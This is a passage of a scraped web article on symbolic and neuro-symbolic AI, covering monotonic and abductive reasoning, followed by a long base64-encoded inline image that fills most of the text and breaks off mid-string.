building a computerised translation system with symbolic AI. Monotonic reasoning is used in conventional reasoning systems, and a logic-based system is monotonic. Abductive reasoning is a form of logical reasoning which starts with single or multiple observations then seeks to find the most likely explanation or conclusion for the observation.<\/p>\n<\/p>\n<p><p>The qualitative measures are efficiency, reliability, productivity, and robustness whereas quantitative measures include time, multi-criteria optimization, and resources such as mass and so on. Summarizing, neuro-symbolic artificial intelligence is an emerging subfield of AI that promises to favorably combine knowledge representation and deep learning in order to improve deep learning and to explain outputs of deep-learning-based systems. Neuro-symbolic approaches carry the promise that they will be useful for addressing complex AI problems that cannot be solved by purely symbolic or neural means. We have laid out some of the most important currently investigated research directions, and provided literature pointers suitable as entry points to an in-depth study of the current state of the art.<\/p>\n<\/p>\n<p><img decoding=\"async\" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' 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CPzH07\/wCion9SmlWT8DuFGRJKFPH4UjcgkggJKieAAOc+mKdEkKGfWre8KPSWT1l6\/wClNGoh+0w2pQudxT2Aix8OLBJ4AUQlH+VXY+EccW26PT\/wl2vRnhg8O3TrRt8nRot31XMQqYSrBXcJaVu7VH+alKUfIJrAv5QLpdG6f+IW73a0tD6H1YhN4iuI+oHVe6+jj4LG4\/4YrdviQ8THh26VawtOherPT965XOA01doaI0dD4hklQbXnI2r90kH4VBPHtpi3dbPDPZOs+lLKhLVlLV3YdQRvVCfSA4FAfA7T8tpqMbUrKSprgffBVfL3ZvAwtzRziTqZlm7LtTWxKiuWFrLQ2q905XjvxUx8MGteveoulepz4x7daYEoLdbZbWzHb82H5Xvl1DSlIxnOCT2qu\/CVfLtpXwETtS2O3sGdZ4N5mxpbgSrY62XFJJQocgEdqUdMdZvePPwZ3awS2Wo2rjCXbblKguCOUz2xubdCE\/8ANuDaSnkYUoelY07Gi1R539MPFH1P8Ol21XD6GXqBbrXebk49\/bNvbk720LUGcb+w2kcCvTfrX4idfaO8E1s6w6c1BDRrN+2WqW+8qI24guPFvzf0RG0D3z9nFeNl3s03Tt0nWG7xTFnWyQ5EltKOC262opUk\/MKBr1L8S6XUfk07QtdpQ0BY7F+nChuVy0O2M07jVCptmT4XXnXvXfq1o3VvUK5xp1xjToUZDrEZDADQfCsFKAAfrHmta\/lP5sG56d0KmJJQ9slStwSeB7ia85PD9dCnqRpeGtJUfpqHt54V+lTx8q9GPymiFo0\/ocrtjUIGTK5QoK3e4nvjFO\/3KiPSk2Wt0juOumPAzp6D0guVtj65GnkizGcpAZTI8448zeNu3Gc\/s5rG3iv1L4\/rb0dmxvEDf9EytH3KVHiPtWxMcvl0r3N7diQQAU8nOK02m+aj0l+ThRqTTAVbbnbtKB+JdWlpDrLge4UAR91eXOvfEH1t6l2dWlNfdQblerb56HxHfS3t8xGdqvdQDkfb61PW2yylwelHhZukBv8AJvXeMqQgPG130hJJB7uVVn5KrSmlLnrLVfUK8pYcl2KNHiQC8kHyXHsla05HCtqAnPwJ+NWN4Wm3B+Tdvfl2hDiBab\/l8qG4YLufTPFUb+TD6s6X6a6pu+mdXvxI7Gtw0m2uy3EtteeypSEpK1cJKyVpTnuUEetI4fI29FgXP8o71B0d4lrzA1TIbldP7ZcpUBdqhQmjIS22VIQpCyUkrK0gnKsYOMVQHiP6r9Net3X+09QumNgudoauLsFFxjTWG0KclIeA81IbUoHcnaDnBymtXtfk3US\/EHd+qGrrhbLroa4zpV2csrpUhxfnBSvLU4CAEpWoq3A9gKzt1r0z0mV1\/gWToBpqHCtdo8lh4wn1vtOyUOkvveYonKUgBAIOCd3yzsUjG6NT\/lOoNx1nobQll0s0Jcpy+vBwg8Mt+zKypSv1U\/E\/d3IBqvwF9B9KQuqzWtbvcTcHtLsreTJUMR0S1pKEpQnuopClq3H4Cre\/KOalOkunmm5ztvbhKfubsZCWVgrkLU2NqE49SQBj5\/KpF0K9j8PHhee6mdTbI0WnI30tcC0AChlWEtNNoPJJyMEn3irPGa26iKo7SGvxsWvQviS8MV01XZnlzntG3KVOabggLkuCI64zIaRn9ZSUkjv6HntWOfAFY7Bp3xTaeuEyTFtk91iSsWdhRdMVosL\/ALs6okleACUg5BPOM4rcvho6\/wDh66wKvPTzpHoH6K2xVXaZb5LSGfMbfUUrc25OSo8n7QTyayR4aOnA6N+O49Ojag\/JiSbi4t2TgqcZW2pbKEqORtCFJJPdRP2Cp1fJdS0WrI7+VNuK1eIiNPgz2xGNijDGBk4K8kcZ9QMfE1ktMnU9gVGefLYn3ZKfZY77IC\/ZSeHVHADaTweSFHg9q9c\/EV4OtY9cOpaNYMTLLEtAisMG2y2g4C4hWSsKAykkfA44FeWfiv6Sa06IdZbto2+6h+lJjyUSDNaSUbkuJCvJ74wkFA4wO3HFPH8C38MdunOnn5WvdNXJV2eakt3+3q9mjtqIWBIQcf4OEqJyeEgnmtsfllJcW6aA6ZJt5bmLTfpo8tKSrJ9nTgD4knAGK8+Olbztj15o6Otxz2ybfrahWx4hQSqUjeV477hlOD+qOe5r1g8d+lrZfP7Hs282Rpo2e4zZsRsKSpKnvKbSFKA\/khRI+eDQuXQrepPvB65b9L+EjQOntbONRn2bQiJPjvKCilS1lJQr71YNdOhelInTDqjriyFaja3mIsm3S1KBQ60tbnuZ77kY2nPyPrUNvRkxfA7c5bNmW8pq0uuofYdCXyRIyNnru445qW+Errxp\/wAQvTVm\/WqxtPXSyqNsuaZAS0+HEH3VqTj9dOFZHGd1Y3XYJWZJgeJK8aa6s6zhdMLvi6QLlLiTA4y0Q2lL6hj9KDkEjOUg1sK29W9WzfDI7rd\/ULDerDCceTIEdDiW3PNwD5e1KVAD0xXmDq95elOvmu9R3G0i3vu3ae2h1SNjclsyV7eRwopCe\/zFb6sV9P8A3BknUxtkZxtNlfke0pcA4Dx5HHbj401qcUKlKEmUhr2+aw6uzLTP6gaynXCRawRGdix2IZSFKSTy0gK7p+POTnPGNm9Yrn1gkaVsKegl8sLFzbeR7em7OBKHIvlkYSooXhW7GOK8xrB1ttcq4RI6mnUFxxtALTgcByoDkV6bdU+nWtuoGl7LE0atiwPxlJdefS+UlxBQMD3cevNY1TqzYv29Hnz+UE1z14TYrHoPq8i13ASUuXWK9b1trREW2oIKytLaMEhZGD6VszqRdYD3hR0hHZktOPiBaSpI\/wDMjNVJ1m6T636f2233PX18ZujctxUZslanSnjcQd3pxWhL508vXUbodpzTdjt0KG8qJCdEhxY5Slv4AeuaZ9Crlnn51Hs0i3T4nUC3wRLcgJWzNZ\/WLChhTiMcggdyPlnIrcWvLxb5fhL0yyzOQ679H2knJyo+4nkn4+tU51P6H6m6V2eJc7\/MiPNTXzGQlhRUR7pOTkduKv66dOb51L8POndKaejRrXIXAtr7czcns2ErwRjsoDBHwUe3BBLqzIL4MjqV7uQojPwNagcukIeEZMMSm\/afYh+jOc586qm6i9CdVdNbG1er7MguoefDG1hRJCyCc8jtxVputODwnAm0NH+1Me0BQ3f3bvisfao1IafCDa7Aw7fdX3fyxLihEaKVjJQCCpZTx3OEjP2\/GvzRfX3rLcdZztQuWKbftLl55j2CJHbT5WM7AleAoEe7kknOT8qZvC5r6yaeuVx0nfWYuLypC4jr6ghHmgEFG48AqBGPs+dWZ066PdRunmsXpDd0hSdJLkSJa4Ktu5ZWhQRuJT+qSk5zj3ayQy56M2dTpjd060NXZGmJWn0z50OSqFJKQptZUkKV7voogqx861z1puHVma1aR0W1XaIDiFPC4maGlBQ9zy8b0K5+vnFZh67Xi133r1Hl2N2K6wh2A0r2ZYW2HEKAUncODg98Vovrp0u6h9Rm7OjRFxZ04uCt8yVtyCkvBezaDsxnG09\/jTz5oSHzyY18St66vTdSWfT3Vq\/225y4KPaIqobTaUIS4QCCpCUg52VvLVUDQXUDpyOnWqZUdce\/WwxUpcOSFhsEKSf5SThQ\/wAGsLdfuj+uunFws03XWpU3iVcypLLgWpZQlCk8Eq9Pe4FX74uNR3rRHTrQurLRbkQJ1su8WQ24lYPm4ZVlChjsRkEH41sk3VCwaTdinoLpt7pp4X9caBv8pAnW17UDCTnh1BbJQsfJQIP31nf8mHorTlw1lqnqFqJDKpFijR4Vu80f3Nx7cXHB89rYAPpk\/Gtl\/nha+pHQe7600\/p+KI12sMx1S21J3NuiOpKwRjO5JTj7hWHfyevVmwdO9fXnRepzGRH1Uyx7I9JWG20y2ioBBUrgbkrIGfUAUnLi\/sd0pL8j3efyi\/UjR3iXvcXUDyJXTq1XeXbnbVFgtGQGGiptLiHFFKisrSFHKsYJ+FUZ186sdMetXiX0v1E6Z6fuNnRcLhbG7ozMaabLkpMlA8xIbUoElO3J7kj41q6R+TrNz6\/3Pqdqybbp+iZtxlXV+zLKkuOeaFHy1uAgBKVr3bh\/JHaso+IBHRWF4l9Mae6F2GFAs1muluizFw5C32ZMz2tJcKVqUchIwnI4yD86bh9Gcrs9MvEPP68XKBZR4ctY6dtcpt576UVdW0LStvanYEbkq5znmvNjxra18QP5xWPQniA1RYLzJgRjc4K7THQ2lCHiUEFSUpzny\/X5V6D+KXod1g6y2mwwelWsToKRbJLzst+PIWkyW1oASg+WU5wQTzXm34yvDh1Z6JHTuoOq3UpWrpd9W7DjOrU4txltobykqWo8Zc4H21JQ27K7OPJnuVOYOVhwfZWptBOoVobTqvMHNpiH\/UprHjg+\/vWvenyc6C00dg5tEP8AqUU6wIPWbMltvjtTrZNQX2yylv2C93C2POJ2rchylsKUnPYlBBIz6U1pj54p5tkEkg7T2ro1Oduh0lTrre3zPvdyl3CUpKUF+U+p1wpHYblEnAyeKXSdXavRa\/oYarvIgeWWfZBPd8nyyMFGzdt249MYrkI4Q3ikUtv3SAKHGhFIQq1ZrCBAVZrfqy9RYCkqbMRm4PIZKVZ3AoCtuDk5GOaTWG96n06HU6f1FdbWl8hTohTXWA4R2KtihkjPrXUw1KXnaeTStmBxgg1lD7UNM0yp0h2dPkOyZD6y4688srWtZ5KlKPJJPqa63PVmsJltFlm6svUi3BCWxDduDy2Nqfqp8sq24GBgY4xTk\/BCEZwaZJUb3+Ae1bqCkILTKftlwYuLDzjTrDgWhxCilSVDsQRyD86uljUd\/wBSxGBeb7cbgEAlAlSnHQkkY43E4qnQxU90PO\/tcRlEDacc1sVyTy3RLJ961Oq0rsv5xXQwC35XsntjnklH8nZu24+WKqHUFqVHuPmAd+at55IcQR8eRUM1Fb1OjchtS1IJwlIypR9AB6k00khMc3Yk0o71BuNqVa7Tq26W2xIcER4G6rZio3pUVJDe8Bfu7iUgH9oo1RGYX7A3DZcaiqYSqO2sDchpI2N5we5AKj81GpJqq0u6Ym2rQiUMKkWIbp+QHG1TVYVIHwISr9Hn4NCnyxaKuWtYqJcePb0yA4hMdciSmOp9tRICUBeEqAPPfjOAPhKVRLp7DNZL\/wBSL7Ea03J6gakVZ0Jy8wbk8ttDfA2hBVgk5AA7EkCtDWLR0TprpRtCoyGr1PaS48O3szOMoaHwwACfvPwpu6c6HiaP1qwNWWNUSy2p1yVKmvK2pdLKf0IyfdO9zJShPJ93PaufXu\/XN\/TL92iNuONXguIXKbQpbbbKU5VlQHAPupHyPyrY1LknJy2VlOXbX946g9R4CLhebhPtVqcfnMpkPrcaBZaUfNAUSNylFKQfRKvnSnV+ptQXL2m2ag1Td5Gn7PbW5NyZXLcUh91SgptnaVYOVltA447+lQ7QenNU3C26g1jbpIZi2yIptanEElxK1pUtDacckJSTz2Ax60u1Bp\/VuqZblhgwJt2fE32qY5b4zjgfQkhLCgEg4C0neB6BQpJR2hRWLrJSfRCNO3jVcPUcm52m7T7fOkkpcchynGFKGN2wlBBKQEjj5Cpu7re7SG2dYfTd4+kUsIZduXtjgebc27C2HCrJSrGePiRSu29E+p8ife7g1oi7Qm2ClCPaYbjbklrASry9yeck+n8nNc4i5kBcq0uzgn2R7yW2W3wQhKUgKGAePe3cUiUJPVFJOcfcON+6wahvN8cXYdY6rjx1YSEv3B1BQDjPCV4yMd+M\/AVx6hQpfUpdhjtXhybItseQ7KlvvKcTtA3JS44STkAK4OTgAAUx36Q\/GaaWzHjL853Y666yHEoTgnJGMnJAH311ciW1Wg373MiIiTWlxo8WKwA2CpRU6vckDgBtC1DPZShWyqKoyCc2S3QPT\/TEjUlvs1iU\/IehstzL1c0uFCgtJGyKwoYKEleNyxg4CsfEXV1W6gPaN0qq6Spz8qW+77Nbo7zqlhb6hjIBPYAAn7qhfQ5KvoBy8vwYcZye6gR\/IaShS47aSELcUn67hK1Aq9cAdgKq7xU3m6StXQbaH2kwrdGKGmiNzin3AFOOBOCMBPlpycc5+eHhjWKP2TnkeadExlafv35votWtNU6kmXG5EuzIjd4eajxkHnyy0FbCeclJGBwPmK71nfL908mIiW3UE22NyAleYU91gyGx2U\/sUlSl\/I\/HOSCK7dK7xq+VaZkBcoT5UeG7IhtSSAtSGwVLQlR4JCclKTgHBGewNZXJN61bcnZkguuOOuFRC+Sk55zk9+KhlyKb1Orx8Tit5HTWvUjWGvWkQ7xepkuKyoFttavc3YxuwO5PqTkk96bo996gfQ\/5vNav1Ai1BosmCm5PCP5Z7o8rdt2nnjGKnGl+l1ynOJbag+atwgcOpz+zP+2tF9NvCGi7oYuGpG1MsAghsHv99Ti9SzlZiiFpx9bvmW1a0uNEKQEj38g54UMAEfbUva1h16t6\/Pb1\/rSPxhPm3WSpJHw5UR+FelumvDtoG0t+UzpuKskAFbiNyz9qjkmphG6E6BfR5L+mYS0qGMeWK3YXV\/R5pac8QHW+0Flq9z5F9jtn+43Baz94Wc4+8VfOh\/FXp69JbhagnXXT8vASEPSFeQfkFg4H2H9laD1p4K9A3llUjTsdyzycFWWVktk\/4J4\/Cs5a88J+stNKU49ZEXaGkn9Myj30j5jv+BqsZkpRv4ouqLdV32K29Hu67hGWNwUJBdSPn3pyZkXVCUtJuctKANoCXlYSPkAe1ZHsmlrhpaWfoS53K0upPLbbhCc\/4J4\/Zmn\/AFbG6sas0lNjW3UVznrhMrkSIDTpT7XGCf0iSAMqKU5Xt7K2kYJIFdEXa5RyyVM0tBvLeodSC0xH7hKHs2591WVRQ4CcBKifr43ZwMYxUhNonBlUXz5AZPBbDh2EfZ2qkvBJcr\/ry6yoSGgLXppgJddOT5zrgwgD4YGT+FbEXpbPIaBHx+NSo198FNr018Gx8e1dJMe+OxBBdu0xcdI2hlUhZQB8NucVbLmlTz+hFIH9MEZw2T9op4xTJyk0im3NPKbIUkYKTkH1FcZX06kEi8Txk54kr\/fVqytN4zlvH2Uwz9P7QcJNdUcSZzvK0ypLxGuM3b7bNkSPL+p5rql7fsyeOwpgvQvVwZ9mn3SZKaByG3pC1pB+QJIFWlc7KUg+6fwqK3C2EZyCK140jPUsrlbmoLfFMCBerhGi+9+hZlLQ373f3Qcc+tQudp\/JJCBxVszbdkkVH5lvAzSOCN3ZBbjftdvWr6Ed1lfF2\/bt9lVcXi1t+G3djHyqCv2J6M8iRHUpp1paVtrQSFJUk5BBHYggHNW3KtwOTTTJs6Vc\/Gk9MdZH9lfStXdSGzuTr\/Uox\/8Aq0j+OotqC7apvqG0X7Ul1ubbCytpM2a6+EKIwSkLUcfdVpzbAFA4Said208UlRCD3+FLpRSOWytXGQM8dq130\/bI0HpsDGBaIf8AUorMU+0eWfqnO6tS6EZ26H06kjBFqiAjH95TWUVUjK7FvKiPd4qUWq1e4DtHavmHESpQGO5qSwmENtcgVQjKQ3LtyduMCkUi1g54FSFxTQHOBikTzjJJyRQYmxjFsSnuBXVENsY4pa4pv0r5bAUcVtA2xM7b0rRwBTRKtGM5AqXMoBT2pPMijGQn0raMUiELtoSSMDFOtnbMV4FvsSK6ymNqidtdreyVKTgY5FKUvZckuiFMhpOO4HrUk6f2Jt3Vke8qhmUmxMv3cRw2Vl51hsraQEjlX6QIyPgDUftMdexI+VSu2QnW3G32XFtOtkKStBKVJPxBHINCVkW9eCq5aJJVO1R7Q3cI75Lfmtu+8t3dhzdzkHlRyQBzmp1oy4zAxGvTUFKmLWG1hpbqgFLcUrYlGfrbfePcY2571J5uhNN6v1ZpJvUDD7CL1qJu13WZCcDLzjcllxLKlnBScPhG5WNx34z2wt1TKlWvpzbLNJcebhxrwuNEjqQVCM1GYUHAOMpBXIbyO3HpSKLjPayksilBRoY+oXU5eq7bbdNyGpDTKJS50xBaUd68BLaPd4ISkE\/a4fhUVDMrUurbXpiEiVuPADasblyFbQkpzgnahPBP63zpsemNSLs881tdbacQ0VoUkjcUZHc8Zwfwp56UKVdervnpeS01bXUT1PrPupLYSE8jsE7dx+ysyK018mw\/ptSro1b056N6R6R6MixepzqXJCUOPSLal9uM0G1q+tMeWoIZSUhP6MqBPI55FTfR\/iM6NQpqdP2bV3T61xhtjxYEWWqGyjHASl5UdLXpwN+P9tedfWzqzqfq7rN+02mbMNtbfUY7a3Dkg\/8AOLPbeeCo\/FW0cACmfTPRXUd+fQxaNQ2z298huMw+84huQ72DQdHuoWfTeUgnjPNLLIoKpFY+PKVy++T2rsz7GpLeWLOlLV2AS4iNNc\/RraJH6Rpbe5LzeP1myoZ4ODkVUHiI\/J69K+t0GZdrJBjaT1ktJU1d7e3sbec9BIZThKwT+uAFgep7Virwi+I6+6B1wjpLrm6zINrM72MKW4Frsk4r2IlsnkbAvCXEj3FIJyDgk+n2nepF1eiIVcA2mSypTMppQ4S62rasA98ZHHyIpVjc3tEx5ViesjxD1p036j9I9c3\/AKeawi3OFe7O42FtsOOuNLZAUVPtkfWaUNpCvgRnByBHzeLku13NMl9xeFBG3GRvWkeYo\/5CMZ+deoX5Q7TEy76DgdddCTHLdqXR0htmW7FUUPP2+QopWkqHfY6WiD\/JU4D3rBcnUty1v4auokq6woovFi1VZrvLkGK23IXDfQ7HIUpCQTl15BJOSc8k4ppR6Uikcl8xLM6FphHp3o+6RwoPv2xcZxRcJT+jeUOE9gc7ue5qrOujJldX7qJKfciRYjbZJwAgspWT+Kzz8hT94dtRedoFu0qJS5Zbo42Eq4IZfIWOP8NavwpN18s85zXEWdBjb\/pm1RVJdWP0fmtlbCyr4BAaSo\/dVL9tkIrXKyI2zVMexWuauK07HuMuEtuE4v6i2lHCyB3SpSRwD6KPIpdoXTi1NtvuN73XTlZA5JJySSRUFs8idqa8MolyzIYhna24EhAXgkBe0AAZGMfL760b02t1uD7Ift7skJIztSpWPuyBXJKr\/J304pJFydGem0N1bMt63tKVlJy+orGPkMJH7K0\/brEy2gISlCRwAEjAFV\/05kwCwlmHaltKQBkq2Aj7QDn9lWay+EjI5++kNQqatrLQx7u4UsipaZWDwaa3JSyk47\/bSf2l0HO41jiXjInMV2M8gJUE96+nrVBlAocabUCexHcVDo1xdSc7yPlmniLd1YAUeftrKbHTQ06j6H6A1Yk\/SthhqXnIcCcK\/EVw0l0A0hpGd7daYzTTgOQSN2PxqYR7mhX637aVpuSMY3d\/nTRlJCSxwlyyO9JPDvobo\/EvjOjIpba1FdnrvIQrB8tawAGkYHCEY90fA1PvzXaPAwOeeK+tNXRL7yoXmZWpO5HP6w\/+VSZoJUkFQ59avG2rOOUVCZFXNKN47p\/Cm6ZpRoA\/V\/Cp8ptB+FIJqG8E4FPC7MnrrRV0\/TLKSrCU1GLjppvarCRVqXBlJJ4qOT4qdqsjvXp448HjZpJS4KdvOnUJBGwVCLvYkDPujsaum9xUDccVA7xFRk+7WuJJTKln2UgnCRUem2Q55SKtSXDbKiSmmK4w2glWECouJRSKsm2kNgkgUxyoqEd8YqdXllKEqNQe6LAKufU0nRROxseYbJxxTZMtTLqVEgZpQ7Jwe9c\/aArgmstDUyG3awtnsgZzV\/6OgJRpGxoKTlNtjA4\/80mqqkNtvDGO1XvpVhpOmLOnb2gRx\/q00jiUjNpGR7a4lSklXxp5VLCWsZ4qM2x7CeTSqRKIT9c\/jRVIarYomXMNg5VzTO5d8rPv033GUonG8+vrTalxSlZyayrHUeCWR5PtCQQc8UuaUAaYrSshIxntTuleKYxjvGcAru7tUjsKZ0SvLPKv20oTL8zsrj7a0SqE0yMHFHYKWWq1L3JJHqKWwIiXzvKQc\/EVKLZak8DYPwrKByo+rRblbU4FSuGwhpAynkUlhsJYGMDt8KVF8IT3Fb0iLbkzlqOJJulhmQIDympqkB2K4nu1IbUHGVj5hxKTmuPWB+6a\/Tp7VmjY7yLdqVK5qYsVHvxL855YuMB3HYh9BKcj6q0EcV2Mz0JBxX1brpCia4s8FQQ49c2FyTHQw20XHmkrIJWVfpVqS2lIJA\/UTniuXyJUnJHd42PdpMhOnuneorFBvFy1zpp61+0eUtP0nGUx5riZDeUoLm0KOwuZxk4z8q56T0pd9EWfUE+TA8kzUTLal3z0ub1eUlaSnaSMeW4fXOSe2KtHr54o09btJ2PS0i1sRPzTSUlye5+keeXgJUUJPG1CSMhRGeT6Cqius3UGnJ9usd1JjR3I7c9iMp5amFMkKCVArA5KXFDAGOe5qHj5VKK2fZ1+ThkpyUFwVtoKCk3V95SNy1LS4dwyNhGeft3H8KuTU99ZlWSBd7ZqKJ7XCjt2+JEiN4fZZZTjCwBszwRuBKiQo8Hmqg1la71oi8i42tC\/ZXFFKUqGULbz\/c1E9lJ7D1xn4kBpRr92O2VwbLMZlJSUoA5YSSPgO4+Rpp4nJ2biyargU69urNw6nJvLKA3IetyfbyjjzXw0UlZ\/nEBGfioE9zXppprX7qWnlS3yXnVoU6Cf+cLLe8\/0t3315r9LtHTbrexqnUaFvsB4POFYJ89YVuS0nPfJA3Y4AGPXNaitmpZDbjJkSHi6hS3CA6oJUpQ5KgDhWP8A511Y3ocPkR9SXtLp8QGu473Q\/WcZ9aS27a1DBOed6Nv\/AL2KxfohFvjnrLp2zqmBi4dOGboj2pCUqEqItmRuCUkjaFJJSTzggnmpL4k+qCmtKtaOjysu3V1LskIV9SO2oKOftWEJH31XPh9L0+865h7Nrsnp\/fjlakoSB5KfrFRAHpyTWZG5uzcUXGPJz6APTbteL41OmEh+MlG9J4WrdtKvljePvq1OqOm7rqzpe3fmI8luVp59yMVIGA7Gns4Lfz2SI7Y\/z5qktJi\/abtdvg6YAk3rUqEKb91KfJY37UpBUoJ3KXklSiBgJq5OhuvNTtaoldI+paixadSyHNPy1PBAftNxJ3sPFtJ5SHEBQOMEoOCay+KCUXvsUZ0vta5haMZIUVEEYGc\/DNbQ6SdNUraZuF5T5iRghCh7iv8AJzz9p\/Cq+6N9MYFvdmvyorLYizXozkVlW5LTzbhS40VeoQsKT8DtzWlbIhLTCEpHAGAPhUXGzoU7JtZm2ITCI0ZhlltI4S0gJH7BUmh7nMbj3qK2n3lJyrv6U+nU+lbCB9N36BDIP1XpCQr8M5\/ZSNJFYuyQNW1x0ZSKHbM7jOKZ0deOjluAD+pi56DyIbjg\/Hbikb3id6GBfkL1E8yScBbsRSU\/sJI\/CsbRZJjyuA8yrKu1c\/NW0Tg9qSRuq\/TPUBDVm1ha33FjKUl7Yo\/YFYoly2Snc2rIPZSex\/Cl4DlC9u6lHZVKE3gn9eoi5cNp4NfP0n6A\/trUrBssTS96Wm+xVpc5S4PwNXGVbHFJHoSKz3pN0fSDTxOcLSf21fjzmJDnPdW78ea7PHSbo8\/zZNJNHdb5A703yns5wa6OO96bpLwGTnmuyGJWebPPIQTF8mmOe4NhzTlLe780w3F47DzXSqijmbcuSM3t0YNQK8PpBNTG9OEg1BL0knPPpSSkjVBjFLlIyc1H7lLbCFffSm6KcbUSgmoncpTxyFKPr61NtD0xnv0tKkqCTzUCue9SiSe5qWz\/AH8nmo9Pjkgnb+yoyKxRFZCFCkpUpJPNO0pjB7fspskI2c1FujpS2OYeKcg+oq\/9LvJ\/Nm0f4jH\/AKtNZ3W5j8f91aG0mpB0rZiUjm3x\/T+9prNjfTMZxV7E8965ypZSDk18FzYDzTXNk4yM09jJHKQ+XF8muaVHNJ95UonNdEkg1g5IrSvKR9lPAWccUwWleAPsFPSTkcGmRNieQ+pKsD413gPrW6EkHFdDGSsAkCnC2QEhwKwO9Yw+CRWVrCU8elTSC2G0ZPBFRm1NBKgAOKkjaylJGPSmiQmhUp0ehpK9JCeM0melbPWm52ZuVjNSyz5LYcdqxaqSSvANMGs5M+2PWTVUFh5Hscv2WQ+y97OoJcBCQp0chP1xx6E\/GnaIhx5WMd\/WjW2n3rpoi6IbU+l2LH9raDa9u4tkKUDxyNu4\/dSLngrP2NUUrdbVOj383eZCW3aLqsexOMvl9CDjaUKXwdwUM7cD5ZFLNR3GZqOUz7XAabahWVtlhuEn66WgvLriCSd5V9Y8D3e1WJ0lhQL7pa+adubAeZ9sKyHSVEIdbSUqBPbBBI+YrpI0laLTAj3mHpQMXOBcXYlx9neLaPKlxm3Izihk7m\/Mjz28eoOO4FSyqOGK4s6sGR5m1dDR016raO1TY4mjuq0pdnlstIhsaiXGMqI6gABDdwZSCvIAwJCEqVhIC0n6wsxzw+WazNM6hXb9NzrLIBcYvdnSbrAX6gAtrIQonjatKSOTjisuaosb2mdRu4StEG4OqcjKKyooSTkJKu+5PHJ5I5rqdZaotep3rjpvUN0ssm4pSh1MCSuOTIIG\/hBG4LIJAOe+K1wlpcWbHTblWjSfsVvZPtS57clSD5aE8thI\/mowMD7sVFtW9TdM6UYWHJzMuaB+iiRTlWf55xhI+Z+7Jqr9SRLvLtdlMPUN0lz7jHIuSHZSiW5PmbNiQO6lbSo89lppjT0\/ipcRHl3dC5bqjuS0SQ2B6qPpz8Tk\/Ct1kv3CVBu0NF2v0nVOo\/pbVBdejuujzmY7wQsNgYShJIISE8dxknPqatizsWHp7pDVethfkym9b6Uf05Ybetvy53nvr8p8uNAkJQgtqO\/OFAg9+KqxjTs2JcHPZ9iZEcr3JU2lxDmAfRQwcip10p0PcOq\/Ua1wNSXNESFarXIul2nKSEohQWwM7AMAHBCEJ\/lKHzNY8sYxb+h\/SlNxivkbbLdNTMvpmQCLgiJZ0RpMVtsZ+j0gJ2YIJ3KWN2RyAM5GakGl5t1karj691TaWbb7CEqhsuvAyJjyclCQkdkgkEqPYDHrUR1zcbNcdXt3HS8Q222TpanYrafdUGkZQjJHY7UAn5k1y0kn2rWcBJU4VeQEq8wHcSUgn63OMk0KbcdgljSbj9G4ulNuca0zEcfcDsmUpcqS4Bje+4orcV96lE1Z0TawACcY71DenMbyrNFb9EtjAqZzYzyo6lMj3sVpKKFUu525MVTEp5JbWMKSVEZ+0VGDdenlrdLybXDD2f7p5aQf2DtVe9QJV7ihwobcHz+FUJq7Wj9vUTcrmI43YClrwM9xXPOVM7MGK3dmup3VfRzTXkNiD8DhpIP+yq21rcNEasbc32yMHljAcbTsUr8KzHA6k9P4y0uXWzak1Q64vaUtTTAihX8lKsZUftJyO1LDru0XQSTprp9qqzPsYcw1cvbUoSexLa\/eUOPT51KnR1XCLom1w0S\/sXJ09cHVON8hhw5OPUA+vFSPpv1i1npa6R7dKny1xwsIdYeUVJKfv7EZqIaC1wzqcKT5w85g4WoAoKuccpPKT8QeRVgGJbrk4hUmMgvIUFJXjB49D8ans7oo4KrNGM6palpDqFFI9OabdQa\/tmmYTlyukgJba9B3UfgB61C7Y5IELeSoADOe9Q7X0GJfHUJv9xW3AjgrWwyoIUvP8pZ+qPT41dSZyOKbJBA8brFquZZt2lXJLKFYyHTk\/cBmt39JeqUHqzoO3a0hW6RAVIR5b0Z4HchxHB+0Hgg\/OvN7TMvRnmN2zScS1JWknDLS0rcWR3OTlSj99ejvS6NJh9NtOtSGBHeMFLq07AD7xJH7MV2+G3LKcP6ljUcNkvdkEjJPJpqlywk+8qusl0pHJNMM6Tk4zXspUfPNtnWRJCs800zlbkEmhcnJOTSKbJAQfeqOSX0dGKHyMN2Gc1Dbq2DnA9DUmustPPNRWdISvPNcs7OmKi+CIXhn63FQW5p2rVirDuSUqCjmoPeGveJHzpFkCeKnZFZAHOabZSEkcU5y+CabXveobsdRSI9OYIOQKYJyCM8etS+Wx5mSKj9xiqwTipux41Ei7yhnj41ojSS\/\/upZf\/R8b+rTWd5zakEq7Y5q\/NIvKOk7Kcf9HRv6pNSbo6Ix2VmMpL21J59KY5cglWBjvS+c\/wAEA0xvOZcroJxiKG1c5pSk9qRtEHmlKSeKBmkPVrVxT026BgkimC1k06b8D5UyJNDyy+jAzinW3PIKwPnUOXOU0R72BTvYpxedCd3rWMx9FkWnCiKfHBtQfspm0+0VBOeeKkUhjDG7FanRCnJkWuUkt7hngU1RpKnnknPrzS+8slalJTxSe0W7LiTt7mpyin2XjNwiSuzMBZT7tTCDFZLflrRlK0lKvXIIwR8OxNMtnhBtKRt5qQNrDfA4xwa1RUSUpSk7Kk6XRlWLqDftIFb\/AJbYcQ0l4jJS2oKQeP5qlfhU1vkbT1m1zadW6jta7lBEHy5UdUosoX7M+l0ISfRRjuTMZzkiotqlhVi60WXUERhwx7s023LcQPdSoDySSfsU0ftNTDXjTUjTzk1yImT9GOpmFhWSFspyl5GPXLS3Rj51mSHqQddlcc3jmvyfPXDohZPLcu2jkyrzoi4vZiyUgGRbXTz7PJSMlC0+i8bSKzau2SNLyG35ampEZe9huXs5RhWEuc9vVJ+HxrUOmJRmaeipM72pSWzFkOo4ElTRKC5j4KxuGfRVUj1m0hbrFcrY1bb6y6ZUNx5lt5JSGsPuIcYUrkHBCTnjOQfTNTktF32dGKTyS1rogzd+1HZLqhDaW34rPmSWUPIyFLGOQfTOAD8cU1yg+7cHJCUNNGc55oacWBtGcFO7ODycCna52xVquMuzyJDi3IsVoKcC0rS0XGkOFHbnbu25PfHaozFmj6bjN30F6Gp5DMrCdykxysb1IAxkhJVgfGsSko88lm4uV\/BYEODHiMNRmHM3yUVBcOQCPLQnjhR+P+41KLNbE6Us8uY2+HLvOaYiL252bfOR+jSn9bnkqP3AetNjV0+0ykMwbhLct8F1SIcWYsqShnfkJCc+5x\/JI78Yq3brqCwvJn9S4dlch26IGW2B7UX20b05ShrdhRUpSCTkZHbJAyUjCMJuUuLMySnPGox+BxvfQ93W4t1003cIUC9ErfNtlOhpqUSoqWGVK4Qck8H3eRyKr